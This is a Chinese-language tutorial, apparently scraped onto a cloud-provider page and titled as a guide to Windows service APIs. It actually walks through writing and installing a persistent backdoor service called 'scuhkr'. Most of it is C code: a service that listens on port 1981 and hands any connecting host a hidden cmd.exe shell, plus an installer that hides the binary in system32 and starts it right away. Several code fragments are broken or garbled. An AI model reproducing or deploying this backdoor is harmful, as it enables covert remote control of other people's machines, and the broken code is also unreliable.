windows服務開發用到的主要函數詳解參考

來源:互聯網
上載者:User

標籤:

編程實現

  一個完整的服務分為安裝服務程式,主體服務程式和卸載服務程式。我們先來寫服務的主體部分,範例程式碼如下:

void main()
{
 SERVICE_TABLE_ENTRY ServiceTable[] = 
 {
  {"scuhkr", BDServiceMain},
  {NULL, NULL} //"哨兵"
 };
 //串連到服務控制管理員
 StartServiceCtrlDispatcher(ServiceTable);
}

 路人甲:什麼,就這麼短?你想侮辱廣大鳥兒的智慧?呵呵,先別急,聽我慢慢道來:上面代碼中,我們先給出了一個SERVICE_TABLE_ENTRY結構數組,每個成員描述了調用進程提供的服務,這裡我們只安裝了一個服務名為Scuhkr的服務,後面的BDServiceMain()我們稱之為服務主函數,通過回調該函數提供了服務入口地址,它原形的參數必須定義成如下形式:
VOID WINAPI BDServiceMain(
  DWORD dwArgc,  //lpszArgv參數個數
  LPTSTR* lpszArgv //該數組第一個的參數指定了服務名,可以在後面被
                      StartService()來調用
);
SERVICE_TABLE_ENTRY結構數組要求最後一個成員組都為NULL,我們稱之為“哨兵”(所有值都為NULL),表示該服務表末尾。一個服務啟動後,馬上調用StartServiceCtrlDispatcher()通知服務控製程序服務正在執行,並提供服務函數的地址。StartServiceCtrlDispatcher()只需要一個至少有兩SERVICE_TABLE_ENTRY結構的數組,它為每個服務啟動一個線程,一直等到它們結束才返回。
 本程式只提供了一個服務函數BDServiceMain(),下面我們來下完成這個函數的功能,範例程式碼如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
 DWORD dwThreadId;  //存放線程ID
 
//通過RegisterServiceCtrlHandler()與服務控製程序建立一個通訊的協議。
//BDHandler()是我們的服務控製程序,它被可以被用來開始,暫停,恢複,停止服務等控制操作
 if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
                     BDHandler))) 
  return;

//表示該服務私人
 ServiceStatus.dwServiceType  = SERVICE_WIN32_OWN_PROCESS;
//初始化服務,正在開始
 ServiceStatus.dwCurrentState  = SERVICE_START_PENDING; //
//服務可以接受的請求,這裡我們只接受停止服務要求和暫停恢複請求
 ServiceStatus.dwControlsAccepted  = SERVICE_ACCEPT_STOP
                      | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面幾個一般我們不大關心,全為0
 ServiceStatus.dwServiceSpecificExitCode = 0;
 ServiceStatus.dwWin32ExitCode        = 0;
 ServiceStatus.dwCheckPoint            = 0;
 ServiceStatus.dwWaitHint              = 0;
//必須調用SetServiceStatus()來響應服務控製程序的每次請求通知
 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//開始運行服務
 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我們用一個事件對象來控制服務的同步
 if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
  return;

 ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//開線程來啟動我們的後門程式
 if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId)))
 

 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 WaitForSingleObject(hEvent, INFINITE);

 CloseHandle(hThread);
 ExitThread(dwThreadId);
 CloseHandle(hEvent);

 return;
}

  上面我們調用了一個服務控制函數BDHandler(),由於只是簡單的介紹,我們這裡只處理服務停止控制請求的情況,其它暫停、恢複等功能,讀者可以自己完善。下面是對BDHandler()的實現代碼:
void WINAPI BDHandler(DWORD dwControl)
{
 switch(dwControl)
 {
 case SERVICE_CONTROL_STOP:
//等待後門程式的停止
  ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
  
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//設時間為激髮狀態,等待下一個事件的到來
  SetEvent(hEvent);
  
  ServiceStatus.dwCurrentState = SERVICE_STOP;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
//停止
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
  break;
 
 default:
  break;
 }
}

  服務控制函數搞定了,下面就剩下主體的後門函數了。本程式借用了N多前輩翻寫過了無數次的後門程式,通過開一個連接埠監聽,允許任何與該連接埠串連的遠程主機建立信任連接,並提供一個互動式Shell。為了代碼清晰,我去掉了錯誤檢查,整個過程很簡單,也就不多解釋了,黑防上都有N期介紹了,代碼如下:
DWORD WINAPI MainFn(LPVOID lpParam)
{
 WSADATA WSAData;
 struct sockaddr_in RemoteAddr;
 DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
 PROCESS_INFORMATION processinfo;
 STARTUPINFO startinfo;
 
 WSAStartup(MAKEWORD(2,2),&WSAData);
 ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 RemoteAddr.sin_family = AF_INET;
 RemoteAddr.sin_port = htons(1981);  //監聽連接埠
 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
 
 bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
 listen(ServerSocket, 2);
 
 varA = 0;
 varB = 0;
 CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
 CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
 
 dowhile((varA || varB) == 0);
 
 GetStartupInfo(&startinfo);
 startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 startinfo.hStdInput = hReadPipe;
 startinfo.hStdError = hWritePipe;
 startinfo.hStdOutput = hWritePipe;
 startinfo.wShowWindow = SW_HIDE; //隱藏控制台視窗

 char szAPP[256];
 GetSystemDirectory(szAPP,MAX_PATH+1);
 
  strcat(szAPP,"\\cmd.exe");
//開cmd進程
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, 
   NULL, NULL, &startinfo, &processinfo) == 0)
  {
   printf ("CreateProcess Error!\n");
   return -1;
  }
 
 while (true) 
 {
  ClientSocket = accept(ServerSocket, NULL, NULL);
  Sleep(250);
 }

 return 0;
}

//線程函數A, 通過管道A來從控制端接受輸入,然後寫入被控制端輸入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD nByteToWrite, nByteWritten;
 char recv_buff[1024];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 CreatePipe(&hReadPipe,
  &hWriteFile,
  &pipeattr,
  0);
 
 varA = 1;
 while(true)
 {
  Sleep(250);
  nByteToWrite = recv(ClientSocket,
   recv_buff,
   1024,
   0);
  printf("%s\n", recv_buff);
  WriteFile(hWriteFile,
   recv_buff,
   nByteToWrite,
   &nByteWritten,
   NULL);
 }
 return 0;
}

//線程函數B, 通過管道B來從被控制端接受輸入,然後寫到控制端輸出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD len;
 char send_buff[25000];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 
 CreatePipe(&hReadFile,
  &hWritePipe,
  &pipeattr,
  0);
 
 varB = 1;
 while (true)
 
 return 0;
}

 安裝服務的部分其實很簡單,範例程式碼如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL,  //服務控制管理員控制代碼
 hService = NULL;     //服務控制代碼
 char szSysPath[MAX_PATH]=, 
szExePath[MAX_PATH]=;   //我們要把我們後台執行的程式放在這裡,一般就是在\\admin$\\system32\裡,隱蔽性高

 if ((hSCManager = OpenSCManager(NULL,  //NULL表明是本地主機 
NULL, // 要開啟的服務控制管理資料庫,預設為空白
SC_MANAGER_CREATE_SERVICE//建立許可權
))==NULL)
 {
  pirntf("OpenSCManager failed\n");
  return;
 }
 
 GetSystemDirectory(szSysPath, MAX_PATH); //獲得系統目錄,也就是system32裡面,隱蔽起來
 strcpy(szExePath, szSysPath);
 strcat(szExePath, "scuhkr.exe");  //應用程式絕對路徑

 if ((hService=CreateService(hSCManager,  //指向服務控制管理資料庫的控制代碼
        "scuhkr",    //服務名
        "scuhkr backdoor service", //顯示用的服務名
        SERVICE_ALL_ACCESS, //所有存取權限
        SERVICE_WIN32_OWN_PROCESS, //私人類型
        SERVICE_DEMAND_START, //自啟動類型        SERVICE_ERROR_IGNORE, //忽略錯誤處理
        szExePath,  //應用程式路徑
        NULL, 
        NULL, 
        NULL,
        NULL,
        NULL)) == NULL)
 {
  printf("%d\n", GetLastError());
   return;
 }

//讓服務馬上運行。萬一是個伺服器,10天半個月不重啟,豈不是沒搞頭?
 if(StartService(hService, 0, NULL) == FALSE)
 { 
  printf("StartService failed: %d\n", GetLastError());
  return;
 }
 printf(“Install service successfully\n ”);
 CloseServiceHandle(hService);  //關閉服務控制代碼
 CloseServiceHandle(hSCManager); //關閉服務管理資料庫控制代碼
}

  Ok,一切都寫完了,我們在本機上測試一下,先把前面的服務主體程式Scuhkr.exe拷貝到系統目錄\system32下(如果需要程式自動實現自拷貝的,可以通過CopyFile()來實現,確實不行就去找WinShell的原始碼來看看吧),然後執行InstallServcie.exe。為了看我們是否安裝成功,有兩個辦法,一是通過控制台->管理工具->服務,二是利用控制台下系統內建的Sc.exe工具,比如:“sc.exe qc rpcss”,2所示。


 
圖2

windows服務開發用到的主要函數詳解參考

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.